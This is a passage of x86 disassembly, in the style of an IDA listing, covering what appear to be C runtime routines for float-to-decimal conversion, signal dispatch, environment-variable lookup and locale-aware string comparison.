loc_425E9D:				; CODE XREF: sub_425D92+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4264AA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425EFE
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42628A
		pop	ecx
		pop	ecx


loc_425EFE:				; CODE XREF: sub_425D92+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425F18
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425F1B
		jmp	loc_425E09
; ---------------------------------------------------------------------------


loc_425F18:				; CODE XREF: sub_425D92+173j
		mov	edi, [ebp+arg_C]


loc_425F1B:				; CODE XREF: sub_425D92+17Fj
		cmp	edi, 15h
		jle	short loc_425F23
		push	15h
		pop	edi


loc_425F23:				; CODE XREF: sub_425D92+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425F39:				; CODE XREF: sub_425D92+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42579F
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425F39
		test	esi, esi
		jge	short loc_425F63
		neg	esi
		and	esi, 0FFh
		jle	short loc_425F63


loc_425F56:				; CODE XREF: sub_425D92+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4257CD
		dec	esi
		pop	ecx
		jnz	short loc_425F56


loc_425F63:				; CODE XREF: sub_425D92+1B8j
					; sub_425D92+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425FC0
		mov	[ebp+arg_C], ecx


loc_425F73:				; CODE XREF: sub_425D92+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_42579F
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42579F
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425741
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42579F
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425F73
		mov	eax, [ebp+arg_14]


loc_425FC0:				; CODE XREF: sub_425D92+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425FFD


loc_425FCD:				; CODE XREF: sub_425D92+248j
		cmp	eax, ecx
		jb	short loc_425FE0
		cmp	byte ptr [eax],	39h
		jnz	short loc_425FDC
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425FCD
; ---------------------------------------------------------------------------


loc_425FDC:				; CODE XREF: sub_425D92+242j
		cmp	eax, ecx
		jnb	short loc_425FE4


loc_425FE0:				; CODE XREF: sub_425D92+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425FE4:				; CODE XREF: sub_425D92+24Cj
		inc	byte ptr [eax]


loc_425FE6:				; CODE XREF: sub_425D92+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425FF5:				; CODE XREF: sub_425D92+F0j
		mov	eax, [ebp+var_4]


loc_425FF8:				; CODE XREF: sub_425D92+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425FFD:				; CODE XREF: sub_425D92+239j
					; sub_425D92+275j
		cmp	eax, ecx
		jb	short loc_42600D
		cmp	byte ptr [eax],	30h
		jnz	short loc_426009
		dec	eax
		jmp	short loc_425FFD
; ---------------------------------------------------------------------------


loc_426009:				; CODE XREF: sub_425D92+272j
		cmp	eax, ecx
		jnb	short loc_425FE6


loc_42600D:				; CODE XREF: sub_425D92+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42601C:				; CODE XREF: sub_425D92+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425FF8
sub_425D92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426025	proc near		; CODE XREF: sub_422BFC+229Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_42608C
		dec	eax
		dec	eax
		jz	short loc_42607D
		sub	eax, 4
		jz	short loc_42607D
		sub	eax, 3
		jz	short loc_42607D
		sub	eax, 4
		jz	short loc_426070
		sub	eax, 6
		jz	short loc_426063
		dec	eax
		jz	short loc_426056
		or	eax, 0FFFFFFFFh
		jmp	loc_42614E
; ---------------------------------------------------------------------------


loc_426056:				; CODE XREF: sub_426025+27j
		mov	esi, dword_4DE8CC
		mov	eax, offset dword_4DE8CC
		jmp	short loc_426097
; ---------------------------------------------------------------------------


loc_426063:				; CODE XREF: sub_426025+24j
		mov	esi, dword_4DE8C8
		mov	eax, offset dword_4DE8C8
		jmp	short loc_426097
; ---------------------------------------------------------------------------


loc_426070:				; CODE XREF: sub_426025+1Fj
		mov	esi, dword_4DE8D0
		mov	eax, offset dword_4DE8D0
		jmp	short loc_426097
; ---------------------------------------------------------------------------


loc_42607D:				; CODE XREF: sub_426025+10j
					; sub_426025+15j ...
		push	edi
		call	sub_426152
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_426097
; ---------------------------------------------------------------------------


loc_42608C:				; CODE XREF: sub_426025+Cj
		mov	esi, dword_4DE8C4
		mov	eax, offset dword_4DE8C4


loc_426097:				; CODE XREF: sub_426025+3Cj
					; sub_426025+49j ...
		cmp	esi, 1
		jnz	short loc_4260A3
		xor	eax, eax
		jmp	loc_42614E
; ---------------------------------------------------------------------------


loc_4260A3:				; CODE XREF: sub_426025+75j
		test	esi, esi
		jnz	short loc_4260AE
		push	3
		call	sub_41BE32


loc_4260AE:				; CODE XREF: sub_426025+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4260C0
		cmp	edi, 0Bh
		jz	short loc_4260C0
		cmp	edi, 4
		jnz	short loc_4260E6


loc_4260C0:				; CODE XREF: sub_426025+8Fj
					; sub_426025+94j
		mov	ebx, dword_4DE6A0
		and	dword_4DE6A0, 0
		cmp	edi, ecx
		jnz	short loc_426115
		mov	edx, dword_43FC6C
		mov	dword_43FC6C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4260E9
; ---------------------------------------------------------------------------


loc_4260E6:				; CODE XREF: sub_426025+99j
		mov	ebx, [ebp+arg_0]


loc_4260E9:				; CODE XREF: sub_426025+BFj
		cmp	edi, ecx
		jnz	short loc_426115
		mov	eax, dword_43FC60
		mov	ecx, dword_43FC64
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_42611C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43FBF0h[edx*4]


loc_42610A:				; CODE XREF: sub_426025+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_42610A
		jmp	short loc_42611C
; ---------------------------------------------------------------------------


loc_426115:				; CODE XREF: sub_426025+AAj
					; sub_426025+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_42612A


loc_42611C:				; CODE XREF: sub_426025+D7j
					; sub_426025+EEj
		push	dword_43FC6C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_426138
; ---------------------------------------------------------------------------


loc_42612A:				; CODE XREF: sub_426025+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_426138
		cmp	edi, 4
		jnz	short loc_42614B


loc_426138:				; CODE XREF: sub_426025+103j
					; sub_426025+10Cj
		cmp	edi, 8
		mov	dword_4DE6A0, ebx
		jnz	short loc_42614B
		mov	eax, [ebp+arg_0]
		mov	dword_43FC6C, eax


loc_42614B:				; CODE XREF: sub_426025+111j
					; sub_426025+11Cj
		xor	eax, eax
		pop	ebx


loc_42614E:				; CODE XREF: sub_426025+2Cj
					; sub_426025+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_426025	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426152	proc near		; CODE XREF: sub_426025+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43FC68
		cmp	dword_43FBEC, edx
		push	esi
		mov	eax, offset dword_43FBE8
		jz	short loc_426180
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43FBE8h[esi*4]


loc_426174:				; CODE XREF: sub_426152+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_426180
		cmp	[eax+4], edx
		jnz	short loc_426174


loc_426180:				; CODE XREF: sub_426152+16j
					; sub_426152+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43FBE8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_426194
		cmp	[eax+4], edx
		jz	short locret_426196


loc_426194:				; CODE XREF: sub_426152+3Bj
		xor	eax, eax

locret_426196:				; CODE XREF: sub_426152+40j
		retn
sub_426152	endp


; =============== S U B	R O U T	I N E =======================================



sub_426197	proc near		; CODE XREF: sub_424EBC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DFC70, 0
		push	ebx
		push	esi
		mov	esi, dword_4DE5EC
		push	edi
		jz	short loc_42620E
		test	esi, esi
		jnz	short loc_4261C8
		cmp	dword_4DE5F4, esi
		jz	short loc_42620E
		call	sub_426565
		test	eax, eax
		jnz	short loc_42620E
		mov	esi, dword_4DE5EC
		test	esi, esi
		jz	short loc_42620E


loc_4261C8:				; CODE XREF: sub_426197+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42620E
		push	ebx
		call	sub_41B650
		pop	ecx
		mov	edi, eax


loc_4261D9:				; CODE XREF: sub_426197+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42620E
		push	eax
		call	sub_41B650
		cmp	eax, edi
		pop	ecx
		jbe	short loc_426201
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_426201
		push	edi
		push	ebx
		push	eax
		call	sub_426526
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426206


loc_426201:				; CODE XREF: sub_426197+51j
					; sub_426197+59j
		add	esi, 4
		jmp	short loc_4261D9
; ---------------------------------------------------------------------------


loc_426206:				; CODE XREF: sub_426197+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_426210
; ---------------------------------------------------------------------------


loc_42620E:				; CODE XREF: sub_426197+10j
					; sub_426197+1Cj ...
		xor	eax, eax


loc_426210:				; CODE XREF: sub_426197+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_426197	endp


; =============== S U B	R O U T	I N E =======================================



sub_426214	proc near		; CODE XREF: sub_4255DA+8Bp
					; sub_4255DA+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DFA20
		jnb	short loc_42627B
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DF920[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_42627B
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_426254
		and	cl, 7Fh
		jmp	short loc_426261
; ---------------------------------------------------------------------------


loc_426254:				; CODE XREF: sub_426214+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_42626F
		or	cl, 80h


loc_426261:				; CODE XREF: sub_426214+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42626F:				; CODE XREF: sub_426214+48j
		mov	dword_4DE5C4, 16h
		jmp	short loc_426285
; ---------------------------------------------------------------------------


loc_42627B:				; CODE XREF: sub_426214+Bj
					; sub_426214+27j
		mov	dword_4DE5C4, 9


loc_426285:				; CODE XREF: sub_426214+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_426214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42628A	proc near		; CODE XREF: sub_425D92+165p
					; sub_4264AA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_42648A
		cmp	cx, 7FFFh
		jnb	loc_42648A
		cmp	dx, 0BFFDh
		ja	loc_42648A
		cmp	dx, 3FBFh
		ja	short loc_4262F3
		xor	eax, eax
		jmp	short loc_42632D
; ---------------------------------------------------------------------------


loc_4262F3:				; CODE XREF: sub_42628A+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_426315
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_426315
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_426317
		cmp	[esi], eax
		jnz	short loc_426317
		jmp	loc_426484
; ---------------------------------------------------------------------------


loc_426315:				; CODE XREF: sub_42628A+71j
					; sub_42628A+79j
		xor	eax, eax


loc_426317:				; CODE XREF: sub_42628A+80j
					; sub_42628A+84j
		cmp	cx, ax
		jnz	short loc_42633A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_42633A
		cmp	[ebx+4], eax
		jnz	short loc_42633A
		cmp	[ebx], eax
		jnz	short loc_42633A


loc_42632D:				; CODE XREF: sub_42628A+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4264A5
; ---------------------------------------------------------------------------


loc_42633A:				; CODE XREF: sub_42628A+90j
					; sub_42628A+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_42634A:				; CODE XREF: sub_42628A+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_42639E
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_426366:				; CODE XREF: sub_42628A+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425720
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426391
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_426391:				; CODE XREF: sub_42628A+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_426366


loc_42639E:				; CODE XREF: sub_42628A+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_42634A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_4263E1


loc_4263BC:				; CODE XREF: sub_42628A+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_4263DA
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42579F
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4263BC


loc_4263DA:				; CODE XREF: sub_42628A+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42641A


loc_4263E1:				; CODE XREF: sub_42628A+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_42641A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_4263FA:				; CODE XREF: sub_42628A+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_426403
		inc	[ebp+var_14]


loc_426403:				; CODE XREF: sub_42628A+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4257CD
		dec	ebx
		pop	ecx
		jnz	short loc_4263FA
		cmp	[ebp+var_14], 0
		jz	short loc_42641A
		or	byte ptr [ebp+var_24], 1


loc_42641A:				; CODE XREF: sub_42628A+155j
					; sub_42628A+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_426431
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_426466


loc_426431:				; CODE XREF: sub_42628A+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_426463
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_42645E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_426458
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_426466
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: sub_42628A+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_426466
; ---------------------------------------------------------------------------


loc_42645E:				; CODE XREF: sub_42628A+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_426466
; ---------------------------------------------------------------------------


loc_426463:				; CODE XREF: sub_42628A+1ABj
		inc	[ebp+var_24+2]


loc_426466:				; CODE XREF: sub_42628A+1A5j
					; sub_42628A+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_42648A
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_426484:				; CODE XREF: sub_42628A+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4264A5
; ---------------------------------------------------------------------------


loc_42648A:				; CODE XREF: sub_42628A+42j
					; sub_42628A+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4264A5:				; CODE XREF: sub_42628A+ABj
					; sub_42628A+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42628A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4264AA	proc near		; CODE XREF: sub_4258C1+440p
					; sub_425D92+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_4400E8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426523
		jge	short loc_4264D2
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_440248
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4264D2:				; CODE XREF: sub_4264AA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4264DD
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4264DD:				; CODE XREF: sub_4264AA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426523
		push	esi
		push	edi


loc_4264E4:				; CODE XREF: sub_4264AA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_42651C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_42650F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_42650F:				; CODE XREF: sub_4264AA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_42628A
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_42651C:				; CODE XREF: sub_4264AA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4264E4
		pop	edi
		pop	esi


loc_426523:				; CODE XREF: sub_4264AA+14j
					; sub_4264AA+36j
		pop	ebx
		leave
		retn
sub_4264AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426526	proc near		; CODE XREF: sub_426197+5Ep
					; sub_4269D7+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_426533
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426533:				; CODE XREF: sub_426526+7j
		push	dword_4DFA24
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DFC44
		call	sub_4265D3
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_426560
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426560:				; CODE XREF: sub_426526+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_426526	endp


; =============== S U B	R O U T	I N E =======================================



sub_426565	proc near		; CODE XREF: sub_426197+1Ep
					; sub_426850+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DE5F4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4265C6
		mov	ebx, dword_42818C


loc_42657E:				; CODE XREF: sub_426565+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4265CE
		push	ebp
		call	sub_41BB45
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4265CE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4265CE
		push	edi
		push	[esp+18h+var_4]
		call	sub_426850
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_42657E


loc_4265C6:				; CODE XREF: sub_426565+11j
		xor	eax, eax


loc_4265C8:				; CODE XREF: sub_426565+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4265CE:				; CODE XREF: sub_426565+29j
					; sub_426565+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4265C8
sub_426565	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265D3	proc near		; CODE XREF: sub_426526+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428CD8
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DE8D8, ebx
		push	1
		pop	edi
		jnz	short loc_426646
		push	edi
		mov	eax, offset dword_428928
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_428008	; CompareStringW
		test	eax, eax
		jz	short loc_426623
		mov	dword_4DE8D8, edi
		jmp	short loc_426646
; ---------------------------------------------------------------------------


loc_426623:				; CODE XREF: sub_4265D3+46j
		push	edi
		mov	eax, offset dword_4CE1C0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42800C	; CompareStringA
		test	eax, eax
		jz	loc_42683C
		mov	dword_4DE8D8, 2


loc_426646:				; CODE XREF: sub_4265D3+31j
					; sub_4265D3+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_42665D
		push	esi
		push	[ebp+arg_8]
		call	sub_42338E
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_42665D:				; CODE XREF: sub_4265D3+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_426672
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_42338E
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_426672:				; CODE XREF: sub_4265D3+8Dj
		mov	eax, dword_4DE8D8
		cmp	eax, 2
		jnz	short loc_426697
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42800C	; CompareStringA
		jmp	loc_42683E
; ---------------------------------------------------------------------------


loc_426697:				; CODE XREF: sub_4265D3+A7j
		cmp	eax, edi
		jnz	loc_42683C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4266AC
		mov	eax, dword_4DE694
		mov	[ebp+arg_18], eax


loc_4266AC:				; CODE XREF: sub_4265D3+CFj
		cmp	esi, ebx
		jz	short loc_4266B9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426751


loc_4266B9:				; CODE XREF: sub_4265D3+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4266C6


loc_4266BE:				; CODE XREF: sub_4265D3+13Cj
					; sub_4265D3+16Dj
		push	2


loc_4266C0:				; CODE XREF: sub_4265D3+146j
		pop	eax
		jmp	loc_42683E
; ---------------------------------------------------------------------------


loc_4266C6:				; CODE XREF: sub_4265D3+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4266D2


loc_4266CB:				; CODE XREF: sub_4265D3+151j
					; sub_4265D3+159j ...
		mov	eax, edi
		jmp	loc_42683E
; ---------------------------------------------------------------------------


loc_4266D2:				; CODE XREF: sub_4265D3+F6j
		cmp	esi, edi
		jg	short loc_426717
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_428068	; GetCPInfo
		test	eax, eax
		jz	loc_42683C
		cmp	esi, ebx
		jle	short loc_42671B
		cmp	[ebp+var_3C], 2
		jb	short loc_426717
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426717


loc_4266FD:				; CODE XREF: sub_4265D3+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426717
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426711
		cmp	cl, dl
		jbe	short loc_4266BE


loc_426711:				; CODE XREF: sub_4265D3+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4266FD


loc_426717:				; CODE XREF: sub_4265D3+101j
					; sub_4265D3+120j ...
		push	3
		jmp	short loc_4266C0
; ---------------------------------------------------------------------------


loc_42671B:				; CODE XREF: sub_4265D3+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426751
		cmp	[ebp+var_3C], 2
		jb	short loc_4266CB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4266CB


loc_42672E:				; CODE XREF: sub_4265D3+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4266CB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426746
		cmp	cl, dl
